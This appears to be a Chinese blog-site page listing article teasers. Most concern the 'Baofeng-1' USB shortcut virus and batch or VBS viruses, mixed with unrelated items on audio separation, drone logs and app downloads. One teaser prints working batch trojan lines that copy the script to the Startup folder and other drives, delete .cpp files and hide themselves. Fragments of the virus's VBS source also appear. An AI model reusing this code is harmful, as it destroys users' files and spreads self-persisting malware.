注:“暴风一号”源代码我是在网上下载的,如果哪里说错了请大家提出来,毕竟我还是个小白。谢谢。 一.“暴风一号”之更改计算机类标识 代码部分: Sub SetMyComputerAss(sFilePath) On Error Resume Next Dim Value1,Value2 Value1="%SystemRoot%\System32\WScript.exe "&""""&sFileP
2021-3-20组会 无监督训练下的音频分离 (音源分离) Unsupervised Audio Source Separation Using Generative Priors
0. 说明 一片具体论文的综述
最近在校园内发现暴风一号病毒(俗称1kb病毒),普及一下查杀和修复的方法
近日经常去打印店打印资料,有一天却发现,U盘出问题了。Excuses me?我的资料全在U盘里呢!尝试用360扫描U盘把病毒删了,但是数据依然没恢复过来。 经百度后得知,这个病毒叫暴风一号,俗称1kb病毒。因为中毒U盘的最大特征是,U盘内的文件,全都变成了1kb的快捷方式,或者,U盘内只有一个1kb的,与U盘名字相同的快捷方式。但是文件管理器依然显示U盘已使用很多内存。 这种病毒在打印店尤为常
ardupilot 日志分析《xKF1信息》
ardupilot 日志分析系列将会把ardupilot所有的日志文档进行分析,为我们分析无人机的运行状态,炸鸡原因,传感器状态,电机状态,控制信息,滤波信息做准备。本节主要分析xKF1日志信息,欢迎批评指正。学习好ardupilot必须会分析飞行日志,从飞行日志中我们可以学到很多无人机的知识。无人机是综合知识的体现,涵盖:导航、控制、滤波、算法、协议等各种知识,只有更全面的学习,才能在无人机的道路上越走越远。
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。接下来系统分享一些网络安全的自学笔记,希望读者们喜欢。 上一篇文章分享了看雪Web安全总结知识和一个异或解密的示例,本篇文章着重讲解Chrome浏览器保留密码功能渗透解析及登录加密入门笔记,结合实际例子一步步实现浏览器漏洞的挖掘。非常基础的文章,希望对入门的博友们有帮助,大神请飘过,谢谢各位看官!
蠕虫(worm)病毒编写
关于蠕虫病毒模拟的批处理脚本分析。文档解释了如何使用 setlocal enabledelayedexpansion 来启用变量扩展,以及如何通过 set 命令创建变量 WORM_FILE 指向 worm.bat 。脚本通过 if 语句检查当前文件是否为蠕虫文件,并在确认后显示启动消息。接着,脚本循环复制自身到所有可能的磁盘分区,最后结束蠕虫模拟并显示结束消息。
uniapp [安卓苹果App端] - 详细实现下载文件保存到用户手机本地,指定文件存储位置路径及文件夹名称下载并保存,Uniapp app端将文件下载保存并储存到指定目录(手机系统存储空间权限检测)
uni-app,安卓Android,苹果ios,安卓app端,苹果App端,uniapp苹果安卓app,app端下载文件,移动端文件下载,并保存到手机本地存储空间,uniapp下载文件保存到手机本地,iOS下载文件怎么保存,系统读写存储空间权限,下载文件到本地详细流程及源代码,保存自定义目录,uniapp,实现下载文件并保存到本地,文件后缀,如何指定手机的存放目录路径url,点击下载文档到手机中并提示存储位置,如何在uniapp中实现文件下载功能,uniApp文件下载,怎么指定文件保存目录,下载报错,没反应
BAT病毒代码(一)
msgbox "点不完吧,气不气?
Statistics and Machine Learning Toolbox
Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具
老版QQ原生表情gif动态
这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。
bat病毒代码介绍
bat病毒代码
jdk-8u144-linux-x64.tar.gz.
该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包
【网络蠕虫】恶意代码之计算机病毒、网络蠕虫、木马
【网络蠕虫】恶意代码之计算机病毒、网络蠕虫、木马 下表内容还未完善,若内容有问题,请批评指正 计算机病毒 网络蠕虫 木马 定义 是一段程序 是一段程序 特点(差异) 传播必须要人为参与寄生于另一段程序或文件 自我复制并大规模传播能力,不需要人为参与 看起来是正常软件,实际,在计算机开启了一个后门,攻击者通过后门访问不需要寄生于可执行文件,不进行自我复制 传播形式 文件、程序拷贝 网络 表一:浅谈恶意代码之计算机病毒、蠕虫病毒、木马 一般而言,将计算机病毒、网络蠕虫和木马统称
精雕软件(JDpaint) 5.5 绿色版
精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版
解密后的暴风一号病毒(1KB文件夹快捷方式病毒)
On Error Resume Next Dim Fso,WshShell Set Fso=CreateObject(“scRiPTinG.fiLEsysTeMoBjEcT”) Set WshShell=CreateObject(“wScRipT.SHelL”) Call Main() Sub Main() On Error Resume Next Dim Args,
文件夹1KB快捷方式(暴风一号)病毒的解决办法
欢迎关注我的个人博客:www.zuzhiang.cn 首先献上大神写的VBS脚本语言的病毒的源代码地址:1KB快捷方式病毒源代码。 把里面的代码复制粘贴到一个文本文档,然后将后缀名改为.vbs就可以了,由于这个病毒会影响所有的磁盘,并且后遗症比较多,所以不建议在本机打开,在虚拟机尝试一下还是可以的。另外,中毒后千万不要点击那些快捷方式,不然会再次触发病毒。 在说怎么解决...
木马病毒代码
这个病毒的功能是删除当前目录下.cpp类型的代码。 copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy %0 d:\ copy %0 e:\ del *.cpp attrib +h %0 1.病毒启动测试: copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
4231



被折叠的 条评论
为什么被折叠?



